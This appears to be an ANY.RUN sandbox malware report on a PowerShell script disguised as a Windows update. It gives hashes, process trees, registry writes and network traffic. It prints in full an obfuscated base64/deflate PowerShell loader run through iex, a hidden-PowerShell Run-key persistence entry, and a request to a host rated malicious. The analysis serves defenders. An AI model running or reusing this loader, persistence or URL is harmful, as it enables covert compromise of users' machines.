Malware analysis WindowsUpdate[.rar Malicious activity

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File name:	WindowsUpdate[.rar
Full analysis:	https://app.any.run/tasks/dfca7c5e-40f5-48aa-9194-a4da59a79856
Verdict:	Malicious activity
Analysis date:	May 10, 2025, 05:18:33
OS:	Windows 10 Professional (build: 19044, 64 bit)
Indicators:
MIME:	application/x-rar
File info:	RAR archive data, v5
MD5:	273A3458953380690F96CA6653F8AB77
SHA1:	A818191EC422F98C5BF8B63B2C10CF065AA388FB
SHA256:	90E837496EE98350C43FCBDDB5C6A8CAE1719EDFA1ACF8B9F1E159AAA01D6F81
SSDEEP:	96:05LtxFhATBJg0NzOGfOdFbyVxlphomVtx3ATZAr:05FhzifO/ypQmWo

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 300 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: 240 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 11.3636.19041.0
Adobe Acrobat (64-bit) (23.001.20093)
Adobe Flash Player 32 NPAPI (32.0.0.465)
Adobe Flash Player 32 PPAPI (32.0.0.465)
CCleaner (6.20)
FileZilla 3.65.0 (3.65.0)
Google Chrome (122.0.6261.70)
Google Update Helper (1.3.36.51)
Java 8 Update 271 (64-bit) (8.0.2710.9)
Java Auto Updater (2.8.271.9)
Microsoft Edge (122.0.2365.59)
Microsoft Edge Update (1.3.185.17)
Microsoft Office Professional 2019 - de-de (16.0.16026.20146)
Microsoft Office Professional 2019 - en-us (16.0.16026.20146)
Microsoft Office Professional 2019 - es-es (16.0.16026.20146)
Microsoft Office Professional 2019 - it-it (16.0.16026.20146)
Microsoft Office Professional 2019 - ja-jp (16.0.16026.20146)
Microsoft Office Professional 2019 - ko-kr (16.0.16026.20146)
Microsoft Office Professional 2019 - pt-br (16.0.16026.20146)
Microsoft Office Professional 2019 - tr-tr (16.0.16026.20146)
Microsoft Office Professionnel 2019 - fr-fr (16.0.16026.20146)
Microsoft Office профессиональный 2019 - ru-ru (16.0.16026.20146)
Microsoft OneNote - en-us (16.0.16026.20146)
Microsoft Update Health Tools (3.74.0.0)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532 (14.36.32532)
Mozilla Firefox (x64 en-US) (123.0)
Mozilla Maintenance Service (123.0)
Notepad++ (64-bit x64) (7.9.1)
Office 16 Click-to-Run Extensibility Component (16.0.15726.20202)
Office 16 Click-to-Run Licensing Component (16.0.16026.20146)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15928.20198)
PowerShell 7-x64 (7.3.5.0)
Skype version 8.104 (8.104)
Update for Windows 10 for x64-based Systems (KB4023057) (2.59.0.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.63.0.0)
Update for Windows 10 for x64-based Systems (KB4480730) (2.55.0.0)
Update for Windows 10 for x64-based Systems (KB5001716) (8.93.0.0)
VLC media player (3.0.11)
WinRAR 5.91 (64-bit) (5.91.0)
Windows PC Health Check (3.6.2204.08001)

Hotfixes

Client LanguagePack Package
DotNetRollup
DotNetRollup 481
FodMetadata Package
Foundation Package
Hello Face Package
InternetExplorer Optional Package
KB5003791
KB5011048
KB5015684
KB5033052
LanguageFeatures Basic en us Package
LanguageFeatures Handwriting en us Package
LanguageFeatures OCR en us Package
LanguageFeatures Speech en us Package
LanguageFeatures TextToSpeech en us Package
MSPaint FoD Package
MediaPlayer Package
Microsoft OneCore ApplicationModel Sync Desktop FOD Package
Microsoft OneCore DirectX Database FOD Package
NetFx3 OnDemand Package
Notepad FoD Package
OpenSSH Client Package
PowerShell ISE FOD Package
Printing PMCPPC FoD Package
Printing WFS FoD Package
ProfessionalEdition
QuickAssist Package
RollupFix
ServicingStack
ServicingStack 3989
StepsRecorder Package
TabletPCMath Package
UserExperience Desktop Package
WordPad FoD Package

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MALICIOUS
- Bypass execution policy to execute commands
  - powershell.exe (PID: 2148)
- Modifies registry (POWERSHELL)
  - powershell.exe (PID: 7020)
SUSPICIOUS
- Starts POWERSHELL.EXE for commands execution
  - powershell.exe (PID: 2148)
- BASE64 encoded PowerShell command has been detected
  - powershell.exe (PID: 2148)
- Application launched itself
  - powershell.exe (PID: 2148)
- Base64-obfuscated command line is found
  - powershell.exe (PID: 2148)
- Uses base64 encoding (POWERSHELL)
  - powershell.exe (PID: 7020)
  - powershell.exe (PID: 5544)
- Checks a user's role membership (POWERSHELL)
  - powershell.exe (PID: 7020)
INFO
- Manual execution by a user
  - powershell.exe (PID: 2148)
  - powershell.exe (PID: 5544)
- Converts byte array into ASCII string (POWERSHELL)
  - powershell.exe (PID: 7020)
- Uses string replace method (POWERSHELL)
  - powershell.exe (PID: 7020)
- Gets or sets the time when the file was last written to (POWERSHELL)
  - powershell.exe (PID: 7020)
- Disables trace logs
  - powershell.exe (PID: 5544)
- Script raised an exception (POWERSHELL)
  - powershell.exe (PID: 5544)
- Checks current location (POWERSHELL)
  - powershell.exe (PID: 5544)
- Checks proxy server information
  - powershell.exe (PID: 5544)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.rar	\|	RAR compressed archive (v5.0) (61.5)
.rar	\|	RAR compressed archive (gen) (38.4)

EXIF

ZIP

FileVersion:	RAR v5
CompressedSize:	2410
UncompressedSize:	9464
OperatingSystem:	Win32
ArchivedFileName:	WindowsUpdate[.]ps1

No data.

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All screenshots are available in the full report

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Total processes

137

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

664

C:\WINDOWS\system32\SppExtComObj.exe -Embedding

C:\Windows\System32\SppExtComObj.Exe

—

svchost.exe

User:

NETWORK SERVICE

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

KMS Connection Broker

Version:

10.0.19041.3996 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll

2148

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass "C:\Users\admin\Desktop\WindowsUpdate.ps1"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

5544

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

5956

"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent

C:\Windows\System32\slui.exe

—

SppExtComObj.Exe

User:

NETWORK SERVICE

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

Windows Activation Client

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll

6424

\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\conhost.exe

—

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Console Window Host

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

6476

\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\conhost.exe

—

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Console Window Host

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

6620

"C:\Program Files\WinRAR\WinRAR.exe" C:\Users\admin\Desktop\WindowsUpdate[.rar

C:\Program Files\WinRAR\WinRAR.exe

—

explorer.exe

User:

admin

Company:

Alexander Roshal

Integrity Level:

MEDIUM

Description:

WinRAR archiver

Version:

5.91.0

Modules

Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll

7020

"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAcABWAFYAYgBiADkAcABJAEYASAA3AG4AVgA0AHcAUQBrAHEARQBzAGgARQB1AEMAYQBCAEQAUwBBAGoARwB4AGsAMgBBAE0ATgByAGUARQBLAEUAegBzAEEAZAB6AFkATQArADUANABEAEQAZwBwAC8AMwAyAFAATQBhAFIAdABXAG4AVwBsADMAUgBkADcAegBtAFgATwA1AFQAdQBYAFMAUwAxAEQAYQBnAG0ASABVAFQAVAB5AGIAUwB4AEkAWQBlAEoAUQBtADIAMgBEAHQANQBTAE8ATwBmAGEAeQBEADgAYgBXAEUAZABiADYATQBhAE0AVABIAGoAaQBCAHkASwBVAHkATQB1AGUATQB0AHcANgBYAGQARQA2AFcAaABCAE4AcQBrAGEAWgBrAE8AQwA2AGgAdwBvADAANgBqAEEAcQBIAGgAawBSAEsAWgBRAHkATABPADcANQBvAHYAZwBYAFkAUgBSAGgAcABaAEYAdgBvAFAAMwA4AGgAbABtAGcANABaAEoAZgBGAFMATwAwAFgARABjAEUASgA5AG8AWQBFADIANABSAG4ARQAxAGEASABlAFQANABuAFEAUQBEAG0AaQAxAGQAawA2AFUASgBRAGkAVgBiADIAQQBhAFEAOQA0AGoARQBlAEoAWQB6AEgAQgAvAEMAMQBJAFYAdwA4AFgAbAA1ADIATwBmAFAAYQBPAEMAQwAxAGMANQBBADUAZABKAFcAVgB6AE4AbgBuAHQAbABIAFgAVwByAEkANgAzAGEAeQBYAE4AVwBVADIAZgBuAG0ANQBtAGMAegBNADQAZABWAE8AdABuAGoAYgAyAGMANgAwADIAZABmAGIAaQBWAEsAUgBkAGMATQBNAHkAMAA3AGcAaQBzAHAATgBxAGQATABKAGEAMwBuAGIASAAxADcAVQByAHUAKwAvAFYATwAvADUAZQBWAFgAZABsAFUAWgBNAEMAWgBUAHoAbAAzAFUAcABFAHQAcgBJAEsAeQBuAGwAUwBiAGYAUABwAHoAYwBXAHMAVgBYADkAcQAzAEYAYgBhAGQAMwAzAHkANwBzAHAAOQBUADUAUAB5AHMAOQA5AGYATgBZAHIAVQAyAHQAZAB1ADkARQBIAFgAYgBkADMATgBxAEcAYQBNAHQAUwBDACsAdgBTAFYAegArAHIAcgAxAGwAbgAxAHQAcQByAFcAdQA3AEoASABLADUAMQBSAFMAZQB2ADMAdQA4ACsANwA3AFkAVgA1AFAAYgB5AHkASABlAEsAOQBuAEcAdABsAFcAWABiAHQAZQA3AFcAKwAwAG8AeQBCAHQAcAAxAE4AbQBNADEAbgByADIAMwA1AFcAagB2AGYAMABmAHAAVQBHAHgAbwAxAHAANwBTAFoAdgBvADUAdgBkAEwATwAxAEgAaQBqADUAKwAyAGMAegB1AE4AVgA4AC8ALwBWAHMAbwAwAFMAQwBEAFcAYQA3AFcAMAB1ADEAcwBhADUAVgBOAC8AZgA1AHAAZQAxAFAAMQB5ADIAbQBYAFAAVABYAGsAVABiAGwAbgBUAEcAdgA1AEwAOQB1AHgAMgBmAFIAagBiADIAaABuAGYAcwA2ADkAdgAyAEwAcgBVAHoAYQA5AGkAWgBjADcAbQBiAEwANQBhAEIAOQBsAFcAKwAxAG0AawAwAHAAOQA5AGYARABoADEATAA4AGMATwA0AHgAbQB3AEQAawBWADgAUQA2ADgAbgBLAGcAYgBwAEsAZABLAE0AcgBVAFkAagBhAGcARAA5AEsAVwAwAFYASABWAFgASwA0AFkAMQA5AFoAawBNAHIAVwB6AHUAWAAzAEsAVwBXAGIAZgBHACsAawB0AHAAcQBDAC8AaQBCAFYAeQBSADAAUgBGAEgAYwBwAG0ATwBUADUAMgBpADgAYwBXAGYARwBjADgALwBrAEYASgB0AGEASABwAFEAQQBJAGUAcgA0AG4AbwBoAEIAeQA2AFUAVwBUAEIAcgB4AHEAbwBkAE0AaABjADgAaQBjAFAANwBkAEIAeABSAGEATAAyAEsATABWAHMAegA2AEUAUQBHAE0AZQBDAGMAUwBtAFgAUwA3ADEAbABkAE0ANgBXAHoAWQB3ACsANwBIAGYAVgBPADcAbgBZAGMAdAAxAFIAQQBNAEgARABYADIARwBCAEMAQgBvAFoASABVAGMAdQB3ADMAWQB6AHYAYwBoADAAdwBSAEwAaABUAFkATwBJAHcAcwBSAHoAVgBCAG8ASQBEAEYATwBCAEMAaAAwAFgAQgB3AEYANgBlAHAASQAzAEUARgBlAGkAaABBAG8AYQA5AGsAagBnAFkANQBBAHYAMABwAHcAeABNAFEALwBDADUAKwBBAHcASwA0AEQAdQBJAG8AMABLAEwAYgA0AEsAUABiAGcAUQBvAEwALwBmAEsAQwBnADMAcABXAFEANgB1AGQAUQA0AEcASQBvAE4ARwBMAEcAQgBwAG4AUwA0ADMAMwBHADgAYwBVAFYAcQBEAEUATABDAG8AegB0AE0AVgB5AEYAZQBrAGUAWQBpAFAAUgBuAGMATABkAEkASgBGAHkAaABEAHYAcABNADcASgB2AHEARQB1AHMATgArAEQAMABJADYAQgBRAG4AbABkAEoAYQBPAGgAVwBQAG4AQgArAHQAbwBvAHAAcQBLAHEAcQBGAGEAQwBVADAAVQBlAFMAZwBqAEUALwBNAFYARQBlADkASgBxAFUAWQBMAFMAUQBCAGgAdABmAEoAMAB4AHkAegBzAG0AbwA1AEgASgBOAFQAUwByAGoANABvAEYAaABVAFcAYwB0AFIARQA1AFkAdgBmAEMAWAB1AHcASgBBAFEAQgBjAGEAbQBFAHIAbwBmADkAawBmADcAZAA3AFMASwA5AGIAeQB3AHkATQBOAHcAQgBvAFAAQQBiAFUAUAA4AFYAdgB3AFIAMQBDAFgAcgBXAHcAOQBTACsAYwB5AGcANQBKAEgAYQB5AEsAUAAyAE0ATQBQAG8AQQA4AFEALwBYAFQATwBMADUAOABRAFkAQwArAEIAYQBaADcAQwBJAGoAMAA4ADIAbABFAFEAVwBDAGUARQBQAHcAbQA1AHMAbgA1ADIAcABsAGYAdQBwAFoAdABpAFgAYwBXAEIAUABYAG4AVwAvAEsAeABkAEwAYwBqACsAawBnAHAAbwB0AGsARgAwAGYATwBxAEUAcgBCAEMAWQBiADEAdQBTAEYAUQBuAEcASAA0AEkAOABPAE4AbQB0AEkAUwB1AHcARwBSADkAbwAzAC8AbQB2AFgAVABVADkASgBtAEoAagB1AGwAMgA0AGIAWQBZAEMAaAAvAFQAdgByAFkAcwBLAGYATwBiAGIAeQBqAC8AUgAzADQAUABmAHEARwArAHEARQBvAGEASwBIAHIAcAB2AGMAcABBAG4ASAA5AE0AaABUAEgAaQBZAHMASAA0ADkAZQA1AGsATwBLAFYAcgB3AEoAQQBjAE0AZQBIAFAAUgAyAGgAZwBvADcARgBHAGkAbQAzAG4AZABHAGwAdwBaAFoAaQBpAHoAbQBaADkAeAB5AEwAcwB3AEMAbwBFADQAagB6AG8AOQBGAHgAdgBDAGsAWQBuAFEATgBHADgAeQBUADkANAB5AE0ARgBJADMAUwB5AGEARQBZACsAUQBjAG4ASwBSADQAVQB4AGQAawBPAEMAMABvAHQAMABKAHYAcwAvAEsAeABYAEQAKwBYAE8AdAAwAFAARgBsAE4ARQBUAGsARQBxAFEANABOAGkAeQBlAHQATABSAFAAZQBTACsAMgB3ADEASABXADgARgAxAEgASgBOAG4AQgBOADQANABlAEgAWgBEAEsAcABiAEkAcgA2ADMAaABFAGUAWgBTAFYAawBBAFEAVABXAEkATwBlAHoANgBQAGoAKwA1AGoANwBGAG8ATQBNAFoAUwBDAEoASABpAHAAMABXAFEAcABlAFMASABUAEMAOABkAHUAcABDAEsAawBKADcARABGAFMAQQBOAEkAUAB4AGIAdgA0AHYAVABLAEoAdQBhAEoASwBOACsAeQBGAHgATwB0ADIALwArAEYAUgBoADkAQwBTADUAWgB0AEsALwBRAE0APQAnACkALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACwAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkA

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

—

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll

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Total events

17 143

Read events

17 134

Write events

Delete events

Modification events


(PID) Process:	(6620) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:	write	Name:	3
Value: C:\Users\admin\Desktop\preferences.zip
(PID) Process:	(6620) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:	write	Name:	2
Value: C:\Users\admin\Desktop\chromium_ext.zip
(PID) Process:	(6620) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:	write	Name:	1
Value: C:\Users\admin\Desktop\omni_23_10_2024_.zip
(PID) Process:	(6620) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:	write	Name:	0
Value: C:\Users\admin\Desktop\WindowsUpdate[.rar
(PID) Process:	(6620) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	name
Value: 120
(PID) Process:	(6620) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	size
Value: 80
(PID) Process:	(6620) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	type
Value: 120
(PID) Process:	(6620) WinRAR.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:	write	Name:	mtime
Value: 100
(PID) Process:	(7020) powershell.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:	write	Name:	Updater
Value: "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -WindowStyle Hidden

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
7020	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_wfjvbg23.5vu.ps1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6620	WinRAR.exe	C:\Users\admin\AppData\Local\Temp\Rar$DRa6620.13673\WindowsUpdate[.]ps1		text
		MD5:11159D6A99B66A8F158F7410350CA727	SHA256:7C846629E0C60135165A240803E8DF5A9E5D4A8588B903D431D07E7A63C508B3
2148	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_2dl4evvq.tsz.psm1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
2148	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF10fe76.TMP		binary
		MD5:D040F64E9E7A2BB91ABCA5613424598E	SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670
5544	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1133bf.TMP		binary
		MD5:FFD4CC6CAA644996D87528EAF586D5BB	SHA256:2662C6E40600A6B39B60EBBAE90AAA2DE14F13D63AC18B63A5FED84AEB7C32D9
7020	powershell.exe	C:\Users\admin\Documents\WindowsPowerShell\profile.ps1		text
		MD5:345616EB44754F1A9A4EDAF2D401FCFD	SHA256:A28C933DCB00FE8036D259E310B30647DA6416D6FA3BAE1CD418497671A15886
7020	powershell.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive		binary
		MD5:3BC32E07A055073081D6751C0CBA415F	SHA256:F68D1D38D6B512818D8DE43225A06C2C6ACC107264714A2270DF966BEF5469FF
7020	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_sa2hca0q.eu4.psm1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5544	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P8WD8HYA18EMTS8L5DI2.temp		binary
		MD5:D1D928073629A6351B8F2D2AC3B96830	SHA256:FC3E49145128323A113C8932F1C22A3999D2A7025FC1A71980A2DC09ACEEA577
5544	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_t3abncot.nrr.psm1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
5496	MoUsoCoreWorker.exe	GET	200	95.101.149.131:80	http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl	unknown	—	—	whitelisted
5496	MoUsoCoreWorker.exe	GET	200	2.16.164.106:80	http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl	unknown	—	—	whitelisted
6544	svchost.exe	GET	200	2.23.77.188:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D	unknown	—	—	whitelisted
1300	SIHClient.exe	GET	200	184.30.21.171:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl	unknown	—	—	whitelisted
1300	SIHClient.exe	GET	200	184.30.21.171:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl	unknown	—	—	whitelisted
2924	SearchApp.exe	GET	200	2.17.190.73:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D	unknown	—	—	whitelisted
5544	powershell.exe	GET	302	92.53.96.122:80	http://inx.webtm.ru/file.htm	unknown	—	—	malicious
2924	SearchApp.exe	GET	200	2.17.190.73:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D	unknown	—	—	whitelisted

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
2104	svchost.exe	40.127.240.158:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
4	System	192.168.100.255:137	—	—	—	whitelisted
—	—	40.127.240.158:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
5496	MoUsoCoreWorker.exe	2.16.164.106:80	crl.microsoft.com	Akamai International B.V.	NL	whitelisted
5496	MoUsoCoreWorker.exe	95.101.149.131:80	www.microsoft.com	Akamai International B.V.	NL	whitelisted
4	System	192.168.100.255:138	—	—	—	whitelisted
3216	svchost.exe	172.211.123.249:443	client.wns.windows.com	MICROSOFT-CORP-MSN-AS-BLOCK	FR	whitelisted
6544	svchost.exe	20.190.159.68:443	login.live.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
6544	svchost.exe	2.23.77.188:80	ocsp.digicert.com	AKAMAI-AS	DE	whitelisted
2112	svchost.exe	51.104.136.2:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted

DNS requests

Domain	IP	Reputation
settings-win.data.microsoft.com	40.127.240.158 51.104.136.2	whitelisted
google.com	142.250.186.142	whitelisted
crl.microsoft.com	2.16.164.106 2.16.164.72 2.16.164.120 2.16.164.51	whitelisted
www.microsoft.com	95.101.149.131 184.30.21.171	whitelisted
client.wns.windows.com	172.211.123.249	whitelisted
login.live.com	20.190.159.68 20.190.159.130 20.190.159.64 40.126.31.73 40.126.31.0 20.190.159.75 40.126.31.131 40.126.31.2	whitelisted
ocsp.digicert.com	2.23.77.188 2.17.190.73	whitelisted
slscr.update.microsoft.com	172.202.163.200	whitelisted
fe3cr.delivery.mp.microsoft.com	13.95.31.18	whitelisted
www.bing.com	104.126.37.170 104.126.37.163 104.126.37.131 104.126.37.176 104.126.37.171 104.126.37.185 104.126.37.123 104.126.37.129 104.126.37.179	whitelisted

Threats

PID	Process	Class	Message
—	—	Not Suspicious Traffic	ET INFO Windows Powershell User-Agent Usage

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No debug info

General Info

WindowsUpdate[.rar

273A3458953380690F96CA6653F8AB77

A818191EC422F98C5BF8B63B2C10CF065AA388FB

